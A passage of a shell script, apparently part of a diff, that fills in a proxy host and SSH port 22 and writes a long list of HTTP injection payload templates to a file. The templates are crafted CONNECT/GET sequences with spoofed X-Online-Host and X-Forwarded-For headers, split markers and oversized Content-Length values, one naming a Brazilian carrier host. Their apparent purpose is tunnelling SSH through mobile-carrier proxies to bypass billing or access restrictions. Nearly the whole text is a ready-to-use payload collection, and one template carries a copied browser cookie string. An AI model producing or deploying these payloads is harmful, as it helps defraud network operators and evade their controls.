"s/.split]//g" ${payload} +sed -i "s;.host_port];${hostprox}:22;g" ${payload} +sed -i "s;.host];${proxy};g" ${payload} +sed -i "s;.port];:22;g" ${payload} +sed -i 's;.protocol];HTTP/1.0;g' ${payload} +sed -i 's;.ua];Dalvik/2.1.0;g' ${payload} +sed -i 's;.method];CONNECT;g' ${payload} +sed -i "s;.raw];CONNECT ${hostprox}:22 HTTP/1.0;g" ${payload} +sed -i "s;.netData];CONNECT ${hostprox}:22 HTTP/1.0;g" ${payload} +sed -i "s;.realData];CONNECT ${hostprox}:22 HTTP/1.0;g" ${payload} +} +bar="=======================================================" +cor="\033[0m \033[1;31m \033[1;32m \033[1;33m \033[1;34m \033[1;33m" +cor=($cor) +esquelet="./payloads.txt" +gerar_arqpay () { +echo 'GET http://mhost/ HTTP/1.1[crlf][raw][crlf] [crlf][crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf] +CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf] +CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf] [crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf][crlf] +CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf] +GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf] +GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf] +GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf] +GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf] +CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +CONNECT [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf] [crlf] +CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf] +CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf][split][raw][crlf][crlf]CONNECT mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost[crlf]Proxy-Authorization: basic: mhost[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive [crlf]Host: [host][crlf][crlf][split][raw][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost/[crlf][crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf][realData][crlf][crlf] +[method] mhost:443 HTTP/1.1[crlf][raw][crlf][crlf]GET http://mhost/ HTTP/1.1\nHost: mhost\nConnection: close\nConnection: close\nUser-Agent:[ua][crlf]Proxy-Connection: Keep-Alive[crlf]Host: [host][crlf][crlf][delay_split][raw][crlf][crlf][raw][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]User-Agent: KDDI[crlf]Host: [host][crlf][crlf][raw][raw][crlf][raw][crlf][raw][crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf]Host: m.opera.com[crlf]Proxy-Authorization: basic: *[crlf]User-Agent: KDDI[crlf]Connection: close[crlf]Proxy-Connection: Direct[crlf]Host: [host][crlf][crlf][raw][raw][crlf][crlf][raw][method] http://mhost[port] HTTP/1.1[crlf]Host: [host][crlf][crlf]CONNECT [host] [protocol][crlf][crlf][CONNECT [host] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][crlf][crlf]X-Online-Host: mhost[crlf]Packet Length: Authorization[crlf]Packet Content: Authorization[crlf]Transfer-Encoding: chunked[crlf]Referer: mhost[crlf][crlf] +[crlf][crlf]CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]CONNECT [host]@mhost/ [protocol][crlf][crlf] +[method] [host_port] [protocol] [delay_split]GET http://mhost/ HTTP/1.1[netData][crlf]GET mip:80[crlf]X-GreenArrow-MtaID: smtp1-1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.0[crlf][split]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf][crlf][method] [host_port] [protocol]?[split]GET http://mhost:8080/[crlf][crlf]GET [host_port] [protocol]?[split]OPTIONS http://mhost/[crlf]Connection: Keep-Alive[crlf]User-Agent: Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0[crlf]CONNECT [host_port] [protocol] [crlf]GET [host_port] [protocol]?[split]GET http://mhost/[crlf][crlf][method] mip:80[split]GET mhost/[crlf][crlf]: Cache-Control:no-store,no-cache,must-revalidate,post-check=0,pre-check=0[crlf]Connection:close[crlf]CONNECT [host_port] [protocol]?[split]GET http://mhost:/[crlf][crlf]POST [host_port] [protocol]?[split]GET[crlf]mhost:/[crlf]Content-Length: 999999999\r\n\r\n +GET [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Referer: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET mhost/ HTTP/1.1[crlf][crlf] +CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: navegue.vivo.ddivulga.com/pacote[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol]GET http://mhost/ [protocol][crlf][split]CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost/[crlf]GET mhost/ HTTP/1.1[crlf]HEAD mhost/ HTTP/1.1[crlf]TRACE mhost/ HTTP/1.1[crlf]OPTIONS mhost/ HTTP/1.1[crlf]PATCH mhost/ HTTP/1.1[crlf]PROPATCH mhost/ HTTP/1.1[crlf]DELETE mhost/ HTTP/1.1[crlf]PUT mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]Host: mhost/[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]X-Forwarded-For: mhost[protocol][crlf][crlf] +[raw][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]X-Forward-Host: mhost/[crlf]Connection: Keep-Alive[crlf]Connection: Close[crlf]User-Agent: [ua][crlf][crlf] +[raw][split]GET mhost/ HTTP/1.1[crlf] [crlf] +CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]GET mhost/[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] +[raw]split]GET mhost/ HTTP/1.1[crlf][crlf] +GET [host_port] [protocol][instant_split]GET http://mhost/ HTTP/1.1[crlf] +GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf] +CONNECT [host_port] [protocol] [instant_split]GET http://mhost/ HTTP/1.1[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf] +GET http://mhost/ HTTP/2.0[auth][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol] [auth][crlf][crlf][delay_split][raw][crlf]JAZZ http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][delay_split]CONNECT [host_port] [protocol] [method][crlf] [crlf][crlf] +CONNECT [host_port] [protocol][crlf]GET http://mhost/ HTTP/1.1\rHost: mhost\r[crlf]X-Online-Host: mhost\r[crlf]X-Forward-Host: mhost\rUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP[crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf] +GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]UseDNS: Yes[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf] Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf] Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]UseDNS: Yes[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf] Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf] Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf] +[netData][split][raw][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: update[crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]host: http://mhost/[crlf]Connection: close update[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] [crlf] +[raw][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf][crlf]User-Agent: [ua][crlf]Connection: Close[crlf]Proxy-connection: Close[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf]Connection: Keep-Alive[crlf][raw][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Connection: close[crlf][crlf]User-Agent: [ua][crlf][crlf]Referer: mhost[crlf]Cookie: mhost[crlf]Proxy-Connection: Keep-Alive [crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Upgrade-Insecure-Requests: 1[crlf]User-Agent: Mozilla/5.0 (Linux; Android 5.1; LG-X220 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36[crlf]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8[crlf]Referer: http://mhost[crlf]Accept-Encoding: gzip, deflate, sdch[crlf]Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4[crlf]Cookie: _ga=GA1.2.2045323091.1494102805; _gid=GA1.2.1482137697.1494102805; tfp=80bcf53934df3482b37b54c954bd53ab; tpctmp=1494102806975; pnahc=0; _parsely_visitor={%22id%22:%22719d5f49-e168-4c56-b7c7-afdce6daef18%22%2C%22session_count%22:1%2C%22last_session_ts%22:1494102810109}; sc_is_visitor_unique=rx10046506.1494105143.4F070B22E5E94FC564C94CB6DE2D8F78.1.1.1.1.1.1.1.1.1[crlf][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][netData][crlf] [crlf][crlf] +GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]Connection: close [crlf]Referer:http://mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Content-Length:0[crlf]Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5[crlf][raw][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: null[crlf]Connection: close[crlf]Proxy-Connection: x-online-host[crlf][crlf] CONNECT [host_port] [protocol] [netData][crlf]Content-Length: 130 [crlf][crlf] +[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] +[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] +[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf] +[raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf][raw][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]CONNECT [host_port][method]HTTP/1.1[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost[crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][method] [host_port]@mip [crlf][crlf]http://mhost/ HTTP/1.1[crlf]mip[crlf][crlf] [crlf][crlf]http://mhost/ HTTP/1.1[crlf]Host@mip[crlf][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf]Host mhost/[crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[cr][crlf] [crlf][crlf][netData][cr][crlf] [crlf][crlf]CONNECT mip:22@http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf] +CONNECT [host_port]@mhost/ HTTP/1.0[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive [crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split]CONNECT [host_port]@mhost/ [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]DATA: 2048B[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Accept-Encoding: gzip[crlf]Non-Buffer: true[crlf]Proxy: false[crlf][crlf][netData][crlf] [crlf][crlf] +GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]Host: http://mhost/[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: http://mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Cache-Control=max-age=0[crlf][crlf][raw][crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Referer: mhost[crlf]GET /HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][raw][crlf]Referer: mhost[crlf][crlf] +GET http://mhost/ HTTP/1.1[cr][crlf]Host: mhost/\nUser-Agent: Yes\nConnection: close\nProxy-Connection: Keep-Alive\n\r\n\r\n[netData]\r\n \r\n\r\n +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][split]CONNECT mhost@[host_port] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf][crlf] +[raw][crlf]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]CONNECT mhost/ [protocol][crlf] +[raw] HTTP/1.0\r\n\r\nGET http://mhost/ HTTP/1.1\r\nHost: mhost\r\nConnection: Keep-Alive\r\nCONNECT mhost\r\n\r\n +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf][crlf] +GET [host_port]@mhost/ HTTP/1.1[crlf]X-Real-IP:mip[crlf]X-Forwarded-For:http://mhost/ http://mhost/[crlf]X-Forwarded-Port:mhost[crlf]X-Forwarded-Proto:http[crlf]Connection:Keep-Alive[crlf][crlf][instant_split][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf][split][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf]CONNECT mhost/ HTTP/1.1[crlf][crlf] +CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +[raw][crlf]GET http://mhost/ [protocol][crlf][split]mhost:/ HTTP/1.1[crlf]Host: mhost:[crlf]X-Forward-Host: mhost:[crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Connection: close[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host:http://mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1\r\nHost: mhost\r\n\r\n[netData]\r\n\r\n\r\n +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1\r\nX-Online-Host:mhost\r\n\r\nCONNECT mip:443[crlf]HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n +GET http://mhost/ HTTP/1.1\r\nGET: mhost\n\r\nCONNECT mip:443[crlf]HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close[crlf][raw][crlf] [crlf][crlf] +GET http://mhost/[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Forward-Host: mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: http://mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]CONNECT mhost@[host_port] [protocol][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: Keep-Alive[crlf]mhost@[host_port][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][netdata][crlf] [crlf]GET mhost/ [protocol][crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf][split]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf]Connection: close[crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][raw][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netData][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netdata][crlf] [crlf][split]Connection: 